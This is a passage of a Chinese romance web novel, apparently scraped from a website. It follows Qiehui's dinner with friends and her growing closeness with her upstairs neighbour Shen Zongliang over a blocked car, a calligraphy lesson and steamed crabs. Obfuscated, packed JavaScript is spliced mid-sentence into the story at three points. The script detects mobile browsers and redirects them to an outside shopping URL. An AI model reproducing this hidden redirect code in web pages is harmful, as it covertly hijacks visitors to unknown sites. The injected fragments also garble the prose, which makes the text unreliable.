庄新华好奇,“这么个人物,还肯给你送东西呢?” “前天她家忽然全黑了,老人家一个人住着,难免害怕。”且惠的手指蜷在课本上,她说:“袁奶奶打电话要叫人,正好我从学校回去,顺手给换了个新灯泡。” 庄新华开着车,都惊得回头,“你还会换灯泡?” “那有什么难的,踩个梯子的事儿。”且惠把他的头扶正,看向前面,“你好好开车。” 到了大院里,他们一齐下了车,拎着路上在超市里买来的食材。 他们三个在一起,一向是且惠动手居多,她独立生活惯了的。 且惠扔下书就去处理羊肉,把羊里脊切得薄薄一片,小心铺在白瓷盘里。 庄新华和幼圆两个人,同洗一个大铜锅,硬是洗出一场事故。 水花四溅,幼圆的裙子湿透了,她揪着两端一拧,拧出一滩子水来。 她擦擦脸说:“庄新华你故意的吧?水都往我这里来了!” 庄新华把锅端上桌,举起手发誓,“天地良心,我哪儿敢啊。” 幼圆去且惠卧室里换衣服,庄新华溜到厨房里找开酒器,找了半天都没找到。 且惠切完四盘肉,腕子都酸了,伸手打开橱柜,摸出来递给他,“喏,这里。” 庄新华把瓶身亮给她看,“你喝这个吗?” 且惠瞄了一眼说:“喝啊,这么贵的酒,不喝白不喝。” 庄新华背过身去笑,“那我开了它。” “好。” 铜锅涮肉的两大灵魂,是汤底和蘸料。 为了凸出羊肉的鲜美,京市人都爱用清汤做底。 庄新华调了三盏酱料碟,用芝麻酱拌了韭菜花,加了半调羹腐乳汁和虾油。 幼圆一出来就说:“好香,快点下肉,我要饿死了。” 吃完她更赞不绝口,“这羊肉不腥不膻,好上乘的品质。” 且惠介绍说:“好像是盐池滩羊,袁奶奶拿来的时候,是这么说的。” 庄新华嘴里嚼着肉,竖起两根手指,“袁奶奶的儿子,现在是宁省的这个,你还做梦呢!” 幼圆看懂了,点点头,“哦,就是她呀,我现在才对号入座。咱院儿里真是卧虎藏龙,随便一老太太都这来头。” 庄新华又指指上面,“不知道吧,沈宗良搬到楼上来住了,他那辆迈巴赫进进出出,连我爸都得了信,没口的夸他是个大孝子。” “我知道啊,听棠因说过了。”幼圆喝了口肉汤,“儿子这一辈里,老爷子对他的期望最高,也是唯一一个养在身边的。葬礼他都没回国,现在当然得来了,要不说不过去。” 且惠不在这些话题上发言,她夹了肉放到幼圆的碗里,“多吃点。” 幼圆嗯了一声,说:“你也吃,最近又瘦了。” “老样子了,天一热就没胃口。”且惠伸手别了别头发,“也许过了夏天就好了。” 庄新华说:“你这肠胃还是要调理一下,抓服药吃吃。” “好,等有空吧。” 吃完饭,庄新华要开车回去,被且惠拦住了。 她截下他手里的车钥匙,“刚喝酒你就忘了?酒驾不是闹着玩儿的,就让司机来接吧。” 庄新华摸了下鼻子,“我就那么背啊!喝一回就能碰上。” “要死,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074189|149430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿这种事赌运气啊,真碰上就麻烦了,又要你爸爸去卖面子。” 说着且惠就给黎叔打电话。幼圆坐在一边笑,“看吧,你就得且惠治你。” 庄新华转过身,用嘴型说了句,“我乐意。” 且惠说:“车就停在院子里吧,改天我给你开回去。” “好。” 把他们两个送到院门口,且惠又折回来。 傍晚的那阵雨停了,浓密的草丛深处升起轻暖的雾气,被风吹成棉絮的形状。 粗粝的砖地被洇成土红色,她的手交在背后,在一片黑沉里踩着小步子,慢慢踱回去。 她坐到长桌前温书,房间里又闷又热,且惠走到八角景窗前,用长木杈支起窗扇。 长发在风里乱飞,夜间扑面而来的清凉,顿时让人清醒不少。 但酒喝太多,字看不大清了,哪儿都虚着一团,索性关上课本。 且惠去浴室洗澡,头发吹到七分干,隐约听到敲门声。 她随手抓了件浴袍披上,边系边往外走。 正常情况下,没有人会到这里来找她,除了刚才走掉的那两个。 且惠拧下把手时,腰间的抽带才刚系牢,脖颈上笼着一团香雾,一副慵懒形容。 她嘴里说着,“落下什么东......” 抬头的瞬间,眼眶里的乌珠子瞪到最大,脸上的笑凝固住。 她扶着门的手发僵,哽着喉咙问好,“沈......沈总,晚上好。” 慌乱间,且惠无暇注意到从肩头滑下的浴袍。 避无可避的几秒钟里,沈宗良的目光被大片柔白的光泽攫住。 他也愣了愣,没想到会是这么副情形。 沈宗良刚下酒桌,身上仍着西装,妥帖地束了冷色调的领带,一脸清贵。 走廊尽头悬着一面穿衣镜,镜中的小姑娘衣衫凌乱、气息不匀,而她面前站着的男人,连背影都衣冠楚楚,冷冷清清。 一尘不染的镜面里产生强烈的美学对比。 且惠只是剽到一眼,胸口的起伏更加明显,忙用手去理浴袍。 沈宗良收回视线,有些尴尬地用拳头抵在唇边,清了清嗓子说:“门口那辆车是你的?” 忽然被他这么一问,且惠有点懵,她啊了一声,慢悠悠地转过脖子。 原就拥趸的院子里,银色卡宴的车身折射白光,把两个车位都给横占住了。 且惠反应过来,她仰头问:“是挡了你的车子开进来吗?” 沈宗良表情淡漠,点了个极不耐烦的头,“对。” 她连忙致歉:“真对不住,我现在去挪开。” 且惠摸到玄关柜上的车钥匙。侧过身,小心地避让这一位。 她走了几步,被冷风一吹,才想起自己喝了酒,不能开车。 且惠停住,手心里攥着车钥匙,向他求助,“能不能麻烦沈总挪一下?” 沈宗良看清了车牌,当她不会开,“怎么,这不是你的车?” 她摇头,“是庄新华的,他晚上在这里吃了饭。他这个人,连停车都不老实。” 不过一句熟稔点评,且惠说得客观油然,不掺半点爱慕。 但落在沈宗良耳朵里,不知道怎么,莫名的不舒服。 要是唐纳言在,八成又要刺他一记,说人家晚上和男朋友吃两杯老酒,你不舒服什么? 酒气燥人,他伸手拧了拧领带,语气并不和善,“庄新华在里面,叫他自己出来挪。” 上次的误会就没解释清爽,这一回,且惠倒退两步,走到他的面前站定了。 倒把沈宗良惊了一下,不明白她郑重其事的,是要干什么。 几次照面下来,他大概也能看得出一点,她是柔和却坚定的性子。 是不爱与人争辩的,允许一切如其是的姑娘。 起风了,京中夜间寒凉,且惠抱臂望着他,“沈总。” 沈宗良的目光往下,探进她的欲言又止里,轻轻嗯了一声。 语气是双方都不曾发觉到的轻柔。 院里苍绿的叶子摆动着,她圆而亮的一双眼睛,嵌在这张小巧玲珑的白皙脸上,另有一番温柔敦厚的古典情调。 且惠落地有声的,说得很慢,“这么晚了,庄新华不会在里面,他不是我男朋友。我们一起长大,关系比别人更要好,仅此而已。” 9. chapter 09 片刻后,沈宗良释然地笑笑,面上仍然冷漠,一股无所谓的态度。 但心跳的确是快了几分的,因为钟且惠的这两句话。 这一点毋庸置疑。 他伸手指一下不远处,吩咐道:“柏文,来帮钟小姐挪个车。” 黄柏文从迈巴赫里下来,接过且惠的钥匙,很快把车稳当停在位子上。 这么点小事还要秘书动手,他可真是金贵啊。 且惠再看向他时,目光不由地带着批判。 沈宗良像能看穿她,不咸不淡地解释了句,“我喝了酒,摸不得方向盘。” 曲解了人家,且惠多少有点过意不去,红着脸低下头。 她声如蚊呐,“哦,我也是。” 沈宗良从兜里拿出支烟,掐在手心里,“钟小姐一般喝什么酒?” 这话怎么问的,好像她是酒鬼一样,不过就是两次碰上他,两次都...... 思绪转到了这里,且惠想,这概率很不低了,他这么想无可厚非。 她说:“干红比较多,偶尔也喝一点白兰地,分场合。” 黄秘书把钥匙还给她,且惠接了,“谢谢。” 她友好睦邻的自觉,笑着跟沈宗良道晚安,“今天给您添麻烦了,我下次会注意。” 走了两步,且惠又想起一桩事,“沈总,我的披肩......” 他说:“在我那里,要现在上去拿吗?” 她想了一下,摆摆手,“不了,今天太晚,改天吧。” 大半夜的,穿成这样去到别人家中,怎么讲都是很没规矩的,还是下次。 沈宗良极淡地点了一下头,幅度很轻。 黄柏文停好车,也跟着告辞,“沈总,那我就先回去了。” 他交代秘书,“周一我去京西开会,不用接。” “好的。” 夜晚的空气被雨水浸润,青翠的院子里亮着零星孤灯,引来几只小虫飞扑上去。 沈宗良靠在车边,一只手虚拢着避风,偏头点燃指间的烟。 一楼的菱花窗没关拢,钟且惠在客厅里来回走动着,纤瘦婀娜的腰肢摇晃在光影里。 沈宗良缓慢地吸上两口,想用更为浓重的烟火气,来驱散饭桌上沾染的俗味。 与其说是世俗,不如说是这个圈层庞大的宗法人情社会。 既然要入世,就无可避免地要到浑水里去蹚一蹚。 这是每个沈家子孙,到了年纪后躲不掉的功课,是必须要出色完成的任务。 他的疲惫,他的厌倦,他任何一种多余的、无关的情绪,都不可以表现出来。 披着沈宗良的皮囊活着,他得时刻保持头脑清醒、情绪稳定,面对各路考验游刃有余。 谁也不是完人。但东远成立以来最年轻的副总,沈老爷子生前极为看重的小儿子,他必须是。 两分钟后,沈宗良掐了烟,他走到窗前,轻轻叩响了窗棂。 且惠寻着声响扭过头,玻璃水杯紧紧握在手里,白开水像荡进了她的眼波,湿漉漉地盯着他看。 她歪了下头,“怎么了,沈总?” 沈宗良冷声提醒她,“睡觉前关紧窗子,这里治安虽然好,但也别大意。” 没料到他还这么热心。 且惠有些不敢信的,恍惚着点头,“知道了,谢谢。” 沈宗良因她这样的懵懂发笑。他问:“怎么这副表情?” “哦,没有。”且惠回过神,不敢再直愣愣地看他,“只是有点意外。” 他刨根问底,“有什么值得你意外?” 且惠见遮掩不过去,直白地说:“我没想到沈总还会关心这些小事。” 沈宗良问:“那在你意料中,我应该是什么样?” 这叫她怎么答才好? 难不成说,你看起来冷漠又自私,言谈举止一股西方精英式的极端利己主义,根本不会管人死活。 真这么说了,那以后也不用再见面了。 这不行,她还要在这里住上好一阵。 且惠换了个委婉的说法,“我是觉得沈总日理万机,心里装的都是民生大计。” 沈宗良的表情冷下来,并没有被她虚伪的假话取悦,而是丢下一句,“倒也不用给我起这么高的调子。” 他走了以后,且惠伏在窗前发了一阵呆,果然伴君如伴虎。 且惠忽然有点能和宫斗剧里的炮灰npc共情了。 为着这次不愉快的谈话,隔天的傍晚,且惠去拿自己的披肩时,给沈宗良捎了件见面礼。 是嫁去了绍城的小姨寄给她的黄酒。不是多贵重,但这个时节喝正好。 她从舞蹈室回来,洗完澡换了身衣服去敲门,手里拎着两坛子酒。 过了一分钟,沈宗良才来开门,手机贴面,正在和人讲电话。 他打开鞋柜,拿了一双米色拖鞋给她,另一只手点了点手机,表示现在有事,让她自己进来坐。 且惠点头,用口型轻声念了句:“您忙。” 沈宗良走到阳台上,讲的是英文,也许是在斯坦福念书的缘故,他有着很浓的加州口音,最后一个单词的尾调总爱拖得老长。 从读幼儿园起,钟清源就请了个加州女外教住在家里,陪着且惠一桌吃、一道玩。 她曾经一度很爱模仿这种口音,配上又软又黏的语气,被幼圆亲切地称呼为加州夹子。 想到这里,坐在沙发上的且惠侧过身,扬了下嘴角。 好像长大以后,她越来越喜欢缅怀过去,一点点小事,都能勾起为数不多的回忆。 但且惠心里晓得,也不是过去有多么好,只是如今过得不太好。 她等着沈宗良打完电话,两只手交叠放在膝盖上,双腿并拢。 前几天他搬来时,楼道里闹出天大的动静,室内重换了套中式家具,价值不菲。 沈总品味亦不俗,单看窗边那张榆木剑腿顶牙枨香桌,如意勾兑,漆皮浑厚。 满屋子都彰显着一种有节制的奢靡。 房中陈设,一定程度上是主人性格的外化,这里就很符合且惠对他的印象。 稳重、沉郁、矜贵,而不失风雅。 这通电话没打多久,沈宗良简明扼要地说完,把手机丢在了窗台上。 他转过头,想要出声招呼钟且惠,却先愣了几秒钟。 空旷的客厅内架着一扇三折开的竹屏风,她身穿淡紫色的对襟宋锦长裙,像一朵绣在屏风上的、半含半开的丁香,素净也艳丽。 最后,还是且惠先发觉他结束通话,自己站了起来。 她轻轻出声,“沈总,您打完电话了。” 沈宗良回过神,噢了一句,“是来拿披肩的吧?” 他冷静理智的神情不改,仿佛刚才短暂的失神没发生过。 且惠点头,“是啊。顺便给您带了两坛黄酒。” 沈宗良看了眼茶几上那两坛酒,绛红的罐身,坛顶结着竹叶编的半圆框。 因为身份敏感,他历来对这类事情是很戒备的,他下意识地皱了皱眉,说:“自己留着吧,我这里用不上。” 小姑娘没转过这个弯,自说自话道:“这是我小姨寄给我的,也不值几个钱,昨晚挡了沈总的车位,挺不好意思。” 沈宗良说:“不论值多少钱,我都不能收你东西,这是原则问题。” 原来他的顾虑在这里。 且惠噢了一声,也实在不想往回收了,她说:“那请问沈总,怎么样才不算违反原则呢?” 从来没有一个人胆敢把问题抛给他来解决。 那些送上门的东西,被原封不动地退回去后,他只会听到赔罪的声音。 有求于他的人,会谴责自己的无知和莽撞,诚惶诚恐的模样。 但小姑娘不同,可能从小到大很少被人拒绝,问出口的话里有赌气的成分。 再听得仔细一点,还有几分嗔怪和怨怼在,无端像撒娇。 仿佛就是这意思:她钟小姐送出的东西从不往回收,你快点想个办法吧。 沈宗良存了心要逗她,“或许,你可以和我一起喝了它。” 这么一听,且惠有点不情愿,“就这么干喝呀?” 他拿下巴点了点厨房,说:“里面有三四篓子大螃蟹,蒸了下酒?” 正好她刚下课,还没来得及吃晚饭,又乍起秋风,正是蟹肥黄鲜的季节。 因此且惠没拒绝,她仰头,笑得坦荡明媚,“好啊,那就蒸来吃掉。” 刚才的电话并不轻松,东远的香港分部出了一点岔子,亟需进行人事调整。 周一要开大会,完事了还得赶回集团,和上面几位汇报、商议。 这件不大不小的公务压在他心头,虽然还远不到焦头烂额的地步,但总归不适意。 可瞧她这么一笑,沈宗良也跟着笑出来,薄薄的阴郁一扫而空。 他略微点头,“那你稍坐一下。” 在把黄油蟹清洗过后,一只只码在蒸盘上,沈宗良都没想明白,他怎么就被个姑娘架着,自发地下起厨来了? 早上他母亲差人送来的时候,他也只是瞥了一眼,说还是拿走吧,最近没闲心弄这个。 且惠在客厅里转了一圈,珍奇的字画看了好几幅,就是没敢上手摸。 挂在这里的极有可能是真迹。 他沈总可以不爱惜,连框都不裱,任由它们成年累月地被风干,但她不行。 且惠每天像陀螺一样转不停,忽然闲下来,还是等着沈宗良亲自给她做饭,多少不适应。 她总不见得跟人说,我先去楼下看一套厚大的理论卷,蒸好了你叫我上来吃。 刚才冒冒失失地答应喝酒,已经够让钟且惠后悔的了。 总觉得在他那里,好像坐实了女酒鬼这个名头,听见酒就走不动路。 且惠溜达到厨房门口,她扶着岛台问:“沈总,有什么要我帮忙的吗?” 沈宗良微微躬着身,乳白的圆领薄线衫配浅灰长裤,低了头,一手扶了块生姜,配合着落刀,将它们切成小而薄的一片。 沈宗良停下动作,看着她说:“有。” “什么?” 且惠停下胡思乱想,竖起耳朵等着他指令。 几秒后,却听见他说了句:“能不能别总是叫我沈总?你是我下属吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正对厨房的餐厅里,摆着一张满工云纹紫檀桌,上面是一副未竟的书法。 显然,沈宗良是写到一半,忽然被那通电话打断了。 眼睛扫上去,读了没头没尾的两三行,且惠便猜到是赵孟頫的《妙严寺记》。 她坐下来,想在“安素受知赵忠惠公维持翊助,给部符为甲乙流传”的后面,写上“朱殿院應元实为之记,中更世故,劫火洞然”一句。 小的时候练楷书,庄严规整的赵氏书写是最好的临摹范本,亏了教她书法的老师严格,且惠几乎能背得出。 但长远不练了,即便手里拿的是玉质温润的和田笔杆,蘸上墨也还是觉得生疏。 到写这个“應”字时,且惠的手微微有点抖,无论如何不敢下笔了。 她刚要搁笔,身后圈过来一道洁净冷质的气味,像冬日清晨无人踏足过的霜雪。 头顶传来沈宗良的声音,“会写?” 她点头,发丝刮在他胸口的衣料上,发出窸窣的声响。 且惠听见自己颤巍巍的音色,似乎比她的手抖得还要厉害。 她说:“皮毛而已,底下就不会了。” “没事,我教你。” 沈宗良一手撑住桌子,另一只手握住她的,极自然地蘸了蘸笔。 他一副专心授业的样子,把稳了且惠的手,利落地挥毫下去。 沈宗良一笔一划流畅写着,醇厚的嗓音落在她的耳边,“这个應的写法很典型,点下去之后,一道逆笔,稍微带一点侧锋,收住。再露锋一接,这里可以出个尖。” 且惠一句都没有听进去,耳旁只有自己不争气的心跳声,咚咚的。 他掌心内一层薄薄的茧,蹭着她柔软的手背,隐约一股柑橘调的清香,应该是刚洗过手。 很庆幸。她很庆幸脸上灼热的温度没有传导到头皮,暴露她的面红耳赤。 很多年不弄这些,钟且惠已经不大懂什么叫侧锋,家里落魄以后,唯一保留下来的兴趣是芭蕾。 这不是且惠自己要求的,它来自董玉书的坚持。 妈妈宁肯自己省得要死,也从工资里拿出一部分来供她跳舞。 很多个周末的早晨,吃过粢饭糕以后,董玉书领着她走过飘着炊烟的狭窄弄堂,脸上是一种来路不明的满足,而且惠面无表情。 端着脸盆出来倒水的邻居见了,总要问:“董老师,送女儿去跳芭蕾啊?” 董玉书笑着点头,“是啊,女孩子嘛,多跳跳舞,总归没坏处的。” 还没等她们转过拐角,就听见邻居夹杂着江城话编排,“捏节都顾成搿个样子了,还搞这样的花头。” 且惠立刻就去看董玉书。但她还是那副表情,牵着她的手仍然温热。 她说:“小囡,你只管走自己的路,不是句句话要听的。听多了不该听的,你就走不远,也走不快了。” 这句话且惠始终都记在心里。 没等这个“應”字写完,门口传来一道智能女声——“锁已打开”。 紧接着是一句“小叔”,且惠抬头,看见沈棠因端了个箱子,娇俏站在长桌前。 她的身边,是眼珠子都快要瞪出来的杨雨濛。 10. chapter 10 且惠面上红痕未褪,一时也忘了反应,愣了眉目,盯着眼前人。 反观沈宗良,他淡淡嗯了一声,仍镇定地握着且惠的手,提点说:“专心写完。” 她只好低下头,跟随着他的笔法,因为慌张失去了焦点的视线,在纸上乱转。 杨雨濛紧蹙着眉,扯了两下沈棠因的袖子,按捺不住地嘀咕,“她怎么会在这里?” 沈棠因抿了唇,冲她摇头,用眼神示意杨雨濛先别说话。 眼见沈宗良搁了笔,她才笑着开口,抬了抬手中的纸盒,“小叔,爸爸让我拿这个箱子来给你。” 随后,像才看见客人在,打招呼说:“你也在这里啊,且惠。” 且惠站起来,抚了抚裙子,勉强扯出一个笑容,“是呀,我就住在楼下。” 出于礼貌,她又笑着冲棠因身后摇了摇手说:“好久不见,濛濛。” 杨雨濛掩饰不好自己的情绪,她也懒得掩饰,十分嫌弃地剜了钟且惠一眼。 且惠知道她是什么性格,也没多说。 从小学起,她们就不是多好的关系,照过面就了事了。 但沈宗良没那么好说话,他突如其来地清了清嗓子,吓了杨雨濛一跳。 她胆怯地瞟了一眼沈宗良。 怕惹他不高兴,杨雨濛不情不愿地说:“是吧,是好久不见了。” 忽然来了这两个人,且惠正好有了脱身的理由,她站起来说:“沈宗良,你有客人来了,那我先回去。” 她匆匆逃走,在没有听到回答的情况下。 并不是为杨雨濛的不客气,且惠见多了比这更不客气的情形,这不算什么。 她只不过是害怕露出马脚罢了。 至于是什么马脚?后来的且惠想,大概是沈宗良指骨沾墨的手,拨云弄雨的,浸润了她荒芜干涸的心野。 她怕这份湿漉漉的动心起念,会从她沁出一层薄汗的掌心,或是眼睛里跑出来。 沈宗良抽出湿巾擦手,扫了一眼牛皮纸箱说:“放这里就可以了。” 棠因放下纸箱,心里本有百般疑问,但看杨雨濛也在,又硬生生地压下去。 她自己小叔的事,自家人关起门来说是可以的,但不好当着外人。 更何况是杨雨濛这个大嘴巴、直肠子。 静静待了片刻,见他没有相留的意思,棠因说:“小叔,那我就先走了。” 沈宗良默许了,又问:“自己开车来的吗?” “不,司机在楼下等。” 他点头,也放了些心,“那好,早点回家。” 棠因哎的一声,“知道了。” 门才关上,憋了老久的杨雨濛终于忍不住,还在楼道里就嚷嚷,“看见了吧,钟且惠都住到这里来了!她真是有一点机会都不放过啊她,怎么那么没脸没皮。” 沈棠因迟疑了一下,“也许是个偶然呢,楼下是幼圆她外公的房子,应该......不至于吧。” 没得到她的认同,杨雨濛一下子就炸了,抬出陈年老例来说服人。 她边挽着沈棠因下台阶,边说:“你忘了小学时候的事啊?就我们读三年级那年,陈老陪同上面那几位来学校视察,本来升旗手早就定了你的,后来还不是被钟且惠给抢走了?她倒好了,又上电视又受采访,出尽了风头!” “你也说了,这都是小时候的事了,那会儿大家都不懂事。”路过且惠门前,沈棠因拍了拍她的手背,示意她小点声,“而且当年,也不一定全是且惠的意思,也许是她父母。” 杨雨濛重重哼了一下,“不是她的意思才有鬼!我亲眼看见的,下了课她在背采访词,咬文嚼字的,那个样子做作死了!不是自愿的话,她会这么主动积极?” 沈棠因不会在往事上纠缠,过去的事情早已追不回了,她也不多么在意。 她担心的是现在。 虽说她小叔见识广,城府也深,但女追男隔层纱的道理,是亘古不变的。 更何况是钟且惠这么个角儿。 她光是坐在那儿就透着股娇柔娴雅。 看见她的人,都不必长着一双慧眼,就能识出那种流水般缓缓淌过的美。 沈棠因稳了稳情绪,打趣了一句:“濛濛,你对她偏见是不是太深了?” “这不是我对她偏见深!”杨雨濛坐在车上大喊,“你说说看,哪有这么巧的事?你小叔叔才放话要搬来这里,她就紧跟着来了。这还不够故意的么?” 她咬牙切齿的,又补充道:“我就说了,包括那天在冯家落下披肩,都是她设计好的,你还不信我。而且你听见吗?这才几天哪,人家已经对你叔叔直呼其名,眼见这辈分都高过你了。” 她哪里敢呀。 她小叔不留她,连坐下吃饭都不能够,识相地自己出来。 沈棠因心烦意乱地丢下包,吩咐司机开车。 她说:“好了好了,小叔叔他不是毛头小子,就算钟且惠真的是有所图,他也不会上当的。” 隔了半晌,杨雨濛才悻悻地回:“再不一般,他也首先是个男人。” // 且惠是跑下楼的,回了自己家,先冲到浴室里拧开龙头,接了捧冷水往脸上扑。 水珠从她的眉梢流下,成股地滑过白皙的脖颈,钻进她的内衣里,一点也不冰,是温温的,还沾着她面颊上的余热。 她抬头看了眼镜中的自己,脸红耳热,几绺发丝黏在鬓边,像刚打了一场败仗。 且惠取下毛巾擦脸,狠狠揉搓两下后,丢在了洗手池边。 她扶着岩台定了定,喘匀了气,再慢慢走回客厅里。 厚重的黄花梨木茶几上,还放着没做完的刑法理论卷。 从吃过早餐,且惠就坐在地毯上,写得忘了时间,一抬头已经一点多,决计是吃不赢午饭,甚至来不及去教孩子跳舞了。 她就在地铁上啃了一个燕麦包,噎得快不行的时候,猛灌了两口保温杯里的普洱。 闹了这么一顿,螃蟹没吃上,肚子先有意见了。 且惠图便利,把珐琅小锅拿出来,装上冰箱里的一点剩饭,倒进纯净水,加盖开火。 晚上偶尔吃一碗泡饭,配上宝塔菜,粒粒分明的米顺着汤一起下肚,清爽又落胃。 饭很快就煮软,且惠做多了,盛出一大汤碗来,热气腾腾地端到桌上。 笃笃笃三记敲门声,她口中念了一句来了,两根手指钳着耳垂去开。 门打开后,又放到嘴边呼了两下,再抬头,是楼上那一位。 且惠一惊:“沈......沈总,你怎么下来了?” 身份悬殊,她还是不习惯叫他的名字,总怕哪里冲撞了这位勋贵。 沈宗良端了个红木托盘站在那儿,挡去了大半的光。 他皱了下眉,满腹责怪的语气,“诓着我蒸了这么多螃蟹,你倒先走掉了。” 且惠侧过身体,先让他进来,她想要伸手去接,沈宗良没让。 他走了几步放在桌上,“你看起来很怕烫,别再摔了盘子。” 且惠咂摸了下,一定是刚才吹手被他给看见了。 她轻声:“我以为你会留你侄女下来,无论如何不至于浪费的。” 说得在情在理,沈宗良被噎了一下。 从棠因进门,他就没想过要留她晚饭,况且她还带了个尾巴。 在全是男人的名利场上,沈宗良的交际功夫可谓点水不漏,推杯换盏之间丝毫不落下风。 但对着家里的小辈,却很少有什么话要说,他们岁数相差太大,大部分时候相顾无言。 沈家的教养太过严格,长幼秩序一点错不得,沈棠因也怕他,未必会喜欢和他吃饭。 不比钟且惠,面上的动作虽谨小,怕却是不怎么怕的。 就在今天,他们多说了几句话后,连那份拘束也冲淡了。 他正儿八经地逗她,“说了给你蒸的,怎么好拿去让棠因吃?显得我小气,这点客也请不起似的。” 且惠低着头笑:“大名鼎鼎的沈总怎么会小气?” 都不等且惠动手,沈宗良拉开一把椅子坐,自在地仿佛在自家客厅。 他靠在椅背上,手腕点着黑胡桃木餐桌,抓住她的漏洞问:“大名鼎鼎?你什么时候听说过我?” 且惠站在他对面,手指攥在餐椅的把手处,像个正在听训话的晚辈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074191|149430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人的状态一紧一松,是谁占上风已不言而喻。 她笑了下,突如其来的好胜心作祟,“听过啊,沈总豪掷千金,谁不知道啊?” 沈宗良从没想过,豪掷千金这个成语,能和他有什么关系。 他感到不可思议地笑:“瞎讲,哪儿来的这种话?” 且惠坐下来,翻过两个天青葵口杯,黄酒倒上八分满,无声推了杯给沈宗良。 她说:“道听途说吧。不过,沈总对每个女人,都这么大方吗?” 沈宗良仍旧是那副闲散姿态。 他嘴角噙着薄笑,四两拨千斤地回答:“大不大方的,要看你怎么定义。” 呵,人精。钟且惠在心里给他贴上了标签。 他有过多少女人她不了解,但就谈话艺术这一块而言,沈宗良绝对是个中翘楚。 沈宗良低头,望了一眼杯中金黄色泽的酒,配着釉色莹润的杯壁,一道青黄相间的错落之感。 这样薄如蝉翼的汝窑杯已不多见了。他转了转杯身,“这是家里留给你的?” 照理说,这些东西不该出现在市面上,也不大可能落到小姑娘手中。 且惠摇头:“我上大学那天,陈爷爷让秘书送来一套茶具,说添添喜气。” “看起来,陈老对你格外关照。”沈宗良说。 她低下眼眸:“是的,陈爷爷一直都很照顾我,老人家心慈。” 聊起这些,且惠不免深吸了口气,举起杯:“我敬沈总,你也很照顾我。” 好像无论过去多久,她总是避不开这层身世的阴霾,哪怕已经站在阳光下,只要稍微起了一点风波,它们就乌云般笼罩过来,把她身边的光亮全都吸走。 沈宗良圈着杯口和她碰了一下,仰头一饮而尽。 就他喝过的名种来说,这酒并不算怎么好,却有着股难言的回甘。 他努力回想了下:“是不是敬错酒了?我好像......没有照顾过你。” 且惠放下杯子:“不会啊,那天无缘无故占了你车位,你也没怪罪。” “我看上去很喜欢怪罪别人?” 沈宗良波澜不惊的语调,但且惠听出了几分危险。 “也不是完全是。”她又紧张起来,咽了咽干涩的喉咙,“就拿刚才来说好了呀,不是你在,杨雨濛哪里会理我。” 且惠在心里说,要不要她拿镜子过来?沈总你现在这个样子,就很像一个暴君。 一开始她的判断就没有错,不管当老板还是当邻居,这都是一个要小心应付的人。 像是不大高兴提杨雨濛。 说到她,沈宗良便皱出两道眉,“她是个被惯坏了的,难免任性一点。” 且惠无所谓地笑,“没关系。其实我早就习以为常了,也不单是她一个人这样。” 失势如琼楼化沙。现今已不是十年前了,她也不再是钟家大小姐,只是钟且惠而已。 过去的那些玩伴也好,同学也好,还愿意做表面功夫的屈指可数,大部分人见了她都只当没看见,眼里早没了这号人。 她自顾自出神,不知道沈宗良还在等着后文。 没多久,听见他问:“就这样?不再说个然后了?” 且惠摆摆手,眉眼温柔且坚韧地笑了,“不了。” 她不喜欢总是抱怨生活。 且惠迷信,总觉得输出太多负能量,是会影响气运的。 能平安长到现在,考上还算理想的大学,身边仍有关心她的好朋友,已经是命运的眷顾了。 况且,她又能够对着沈宗良说什么呢? 说自己也曾金屋玉堂,十年不寻常? 沈宗良勾了下唇,他用小银剪子裁掉蟹腿,剥开蟹壳,把蟹黄部分放进她盘中。 且惠小声说了句谢谢,用勺子挖出蟹黄来吃,她尝了一口,“哇,真的很好吃。” 面前的小姑娘仰着头,手里举了一把勺子,眼睛亮晶晶地看牢他。 她很会笑,露出一排珠贝般整齐的牙,像春雨过后明丽的好天气。 沈宗良刮着蟹壳上薄香的油膏,手上的动作一顿,忽然间就忘了自己要做什么了。 11. chapter 11 且惠没注意到他的失态,安静吃完蟹后,用勺子盛了一小碗泡饭。 她递出去,“我自己做的,简单配了这几样小菜,不知道你喜不喜欢吃。” “我尝尝。” 沈宗良伸手接过,不可避免的,碗沿下的指尖短暂相触。 且惠触电般收回手,条件反射地低了头,把勺子放回了原处。 大概不喜欢这种软烂黏糊的吃食,沈宗良那个吞咽的动作做得极艰难,眼神也在品尝中变得坚定不少,看得且惠想笑。 但还是听见他客气地赞赏,“味道还可以。” 且惠忍不住抿紧了双唇。她居然觉得沈总有点可亲。 这顿饭被集团的一个紧急通知叫停。 沈宗良接了秘书的电话,听完就起身告辞。 且惠送他出门,完全邻里关心的口吻,“今晚谢谢你的螃蟹,路上小心。” 他换了鞋,收起手机放进兜里,“也不问我什么事?” 一般客人突然要走,怎么样都会问一问的,这么点正常的好奇心,人人都有。 但且惠笑着摇头,“沈总是大人物,经手的事也不会小。如果是方便说的,我想你会告诉我,没说自然有你的道理。” 沈宗良也笑,“你倒是通透,也不多事。” “我就当沈总是在夸我了。”且惠说完,又赶紧叫住他,“那个,你的托盘和剪子......” 沈宗良毫不芥蒂地说:“大门密码是1023,麻烦你帮我送回去。” “好的。” 